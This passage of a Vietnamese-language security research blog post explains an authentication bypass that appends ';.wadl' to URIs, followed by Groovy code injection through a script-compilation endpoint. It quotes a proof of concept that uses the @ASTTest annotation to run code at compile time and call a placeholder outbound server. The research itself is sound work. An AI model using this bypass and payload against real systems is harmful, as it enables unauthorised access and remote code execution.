https://substackcdn.com/image/fetch/$s_!4u16!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4u16!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png" width="1075" height="383" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:383,&quot;width&quot;:1075,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4u16!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 424w, https://substackcdn.com/image/fetch/$s_!4u16!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 848w, https://substackcdn.com/image/fetch/$s_!4u16!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1272w, https://substackcdn.com/image/fetch/$s_!4u16!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>MatchResult khi kh&#7903;i t&#7841;o s&#7869; &#273;&#432;&#7907;c strip &#273;i MatrixParam parameter l&#224; ph&#7847;n b&#7855;t &#273;&#7847;u b&#7857;ng d&#7845;u <code>;</code> trong m&#7895;i segment URL hay ch&#237;nh l&#224; path parameter <strong>;.wadl</strong>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CVmT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CVmT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 424w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 848w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1272w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CVmT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png" width="899" height="450" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:450,&quot;width&quot;:899,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CVmT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 424w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 848w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1272w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#272;i&#7873;u &#273;&#243; gi&#7843;i th&#237;ch v&#236; sao ta c&#243; th&#7875; v&#224; ph&#7843;i inject <strong>;.wadl</strong> v&#224;o uri &#273;&#7875; c&#243; th&#7875; reach &#273;&#432;&#7907;c API endpoint mong mu&#7889;n.</p><p>Nh&#432; v&#7853;y ta c&#243; th&#7875; bypass &#273;&#432;&#7907;c auth m&#7897;t c&#225;ch &#273;&#417;n gi&#7843;n b&#7857;ng c&#225;ch th&#234;m v&#224;o cu&#7889;i uri m&#7897;t path parm <strong>;.wadl</strong></p><p>request b&#236;nh th&#432;&#7901;ng:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4N34!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4N34!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 424w, https://substackcdn.com/image/fetch/$s_!4N34!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 848w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1272w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4N34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png" width="1456" height="259" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:259,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4N34!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 424w, https://substackcdn.com/image/fetch/$s_!4N34!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 848w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1272w, https://substackcdn.com/image/fetch/$s_!4N34!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb734ea1e-1cb6-457f-bf7c-fce6c3fedd6c_1536x273.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>request c&#243; <strong>;.wadl</strong> :</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CW_O!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CW_O!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 424w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 848w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1272w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CW_O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png" width="1456" height="328" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:328,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CW_O!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 424w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 848w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1272w, https://substackcdn.com/image/fetch/$s_!CW_O!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F22f4e572-845f-43f6-9308-ad9bd024eee8_1513x341.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2><strong>Groovy Injection</strong></h2><p>V&#7899;i bug auth bypass gi&#7901; &#273;&#226;y ta c&#243; th&#7875; t&#249;y &#253; truy c&#7853;p v&#224;o c&#225;c ch&#7913;c n&#259;ng c&#7911;a app <code>applicationmanagement</code> m&#224; kh&#244;ng c&#7847;n x&#225;c th&#7921;c, trong &#273;&#243; c&#243; endpoint <code>groovyscriptstatus</code>. API n&#224;y cho ph&#233;p ng&#432;&#7901;i d&#249;ng truy&#7873;n v&#224;o m&#7897;t &#273;o&#7841;n m&#227; script groovy v&#224; bi&#234;n d&#7883;ch ch&#250;ng:</p><pre><code><code>    @POST
    @Consumes({&#8221;application/json&#8221;})
    @Path(&#8221;/applications/groovyscriptstatus&#8221;)
    public Response compileScript(String script) throws Exception {
        ApplicationRestLogger.LOGGER.entering(ApplicationrestServiceController.class.getName(), &#8220;compileScript(String)&#8221;, new Object[]{script});

        try {
            ApplicationrestServiceImpl.compileScript(script);
        } catch (Exception var3) {
            Exception e = var3;
            ApplicationRestLogger.LOGGER.log(Level.SEVERE, (String)null, e);
            return Response.status(500).entity(e.getMessage()).type(&#8221;text/plain&#8221;).build();
        }

        ApplicationRestLogger.LOGGER.exiting(ApplicationrestServiceController.class.getName(), &#8220;compileScript(String)&#8221;);
        return Response.status(Status.OK).entity(&#8221;Script Compilation Successful&#8221;).type(&#8221;text/plain&#8221;).build();
    }
</code></code></pre><p>Nh&#432; t&#234;n c&#7911;a endpoint n&#224;y, ch&#7913;c n&#259;ng c&#7911;a n&#243; &#273;&#417;n thu&#7847;n ch&#7881; l&#224; ki&#7875;m tra syntax c&#7911;a script groovy b&#7857;ng c&#225;ch compile ch&#250;ng n&#7871;u th&#224;nh c&#244;ng th&#236; tr&#7843; response successful</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-3eP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-3eP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 424w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 848w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1272w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-3eP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png" width="612" height="114" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:114,&quot;width&quot;:612,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-3eP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 424w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 848w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1272w, https://substackcdn.com/image/fetch/$s_!-3eP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F916a7f9b-3e92-4f55-b717-f7a57374f113_612x114.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sRDU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sRDU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 424w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 848w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1272w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sRDU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png" width="697" height="173" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:173,&quot;width&quot;:697,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sRDU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 424w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 848w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1272w, https://substackcdn.com/image/fetch/$s_!sRDU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18991e0b-81ee-4635-bb11-0c06dc0ae4c5_697x173.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Tho&#7841;t nh&#236;n th&#236; th&#7845;y ch&#7913;c n&#259;ng n&#224;y c&#243; v&#7867; v&#244; h&#7841;i, kh&#244;ng exploit &#273;&#432;&#7907;c g&#236; khi n&#243; ch&#7881; bi&#234;n d&#7883;ch m&#224; kh&#244;ng th&#7921;c s&#7921; th&#7921;c thi code groovy nh&#432;ng Searchlight &#273;&#227; c&#243; m&#7897;t &#8220;trick&#8221; c&#7921;c hay &#273;&#243; l&#224; s&#7917; d&#7909;ng annotation &#273;&#7875; c&#243; th&#7875; execute &#273;&#432;&#7907;c groovy.</p><p>M&#236;nh kh&#225; b&#7845;t ng&#7901; khi l&#7847;n &#273;&#7847;u bi&#7871;t &#273;&#432;&#7907;c 1 annotation b&#236;nh th&#432;&#7901;ng ch&#7881; ch&#7913;a c&#225;c metadata l&#7841;i c&#243; th&#7875; execute &#273;&#432;&#7907;c code v&#224; &#273;&#226;y c&#361;ng ch&#237;nh l&#224; l&#253; do khi&#7871;n m&#236;nh quy&#7871;t &#273;&#7883;nh d&#7921;ng l&#7841;i lab &#273;&#7875; debug root cause c&#7911;a n&#243;.</p><p>POC c&#7911;a Searchlight tr&#244;ng nh&#432; sau:</p><pre><code><code>import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def connection = new URL(&#8221;https://our.outbound.server&#8221;).openConnection()
            connection.setRequestMethod(&#8221;GET&#8221;)
            def response = connection.getInputStream().getText()
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()
</code></code></pre><p>&#272;&#7875; hi&#7875;u c&#225;ch m&#224; poc tr&#234;n ho&#7841;t &#273;&#7897;ng ta c&#7847;n ph&#7843;i t&#236;m hi&#7875;u tr&#432;&#7899;c c&#225;c kh&#225;i ni&#7879;m nh&#432; <code>ASTTransformation</code> hay Compilephase trong groovy.</p><h3><strong>AST Transformation</strong></h3><p>Groovy l&#224; m&#7897;t ng&#244;n ng&#7919; &#273;&#7897;ng (dynamic language) ch&#7841;y tr&#234;n JVM, &#273;&#432;&#7907;c thi&#7871;t k&#7871; &#273;&#7875; t&#432;&#417;ng th&#237;ch t&#7889;t v&#7899;i Java nh&#432;ng b&#7893; sung th&#234;m r&#7845;t nhi&#7873;u t&#237;nh n&#259;ng meta-programming m&#7841;nh m&#7869;. M&#7897;t trong nh&#7919;ng c&#417; ch&#7871; quan tr&#7885;ng c&#7911;a Groovy l&#224; AST Transformation &#8211; cho ph&#233;p can thi&#7879;p tr&#7921;c ti&#7871;p v&#224;o c&#226;y c&#250; ph&#225;p tr&#7915;u t&#432;&#7907;ng (Abstract Syntax Tree &#8211; AST) trong qu&#225; tr&#236;nh bi&#234;n d&#7883;ch.</p><p>Kh&#225;c v&#7899;i Java, n&#417;i annotation ch&#7911; y&#7871;u ch&#7881; mang t&#237;nh &#8220;m&#244; t&#7843;&#8221;, annotation trong Groovy c&#243; th&#7875; &#273;&#432;&#7907;c g&#7855;n v&#7899;i m&#7897;t AST Transformation c&#7909; th&#7875;. Khi tr&#236;nh bi&#234;n d&#7883;ch Groovy &#273;i qua t&#7915;ng phase (parsing, semantic analysis, canonicalization, &#8230;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 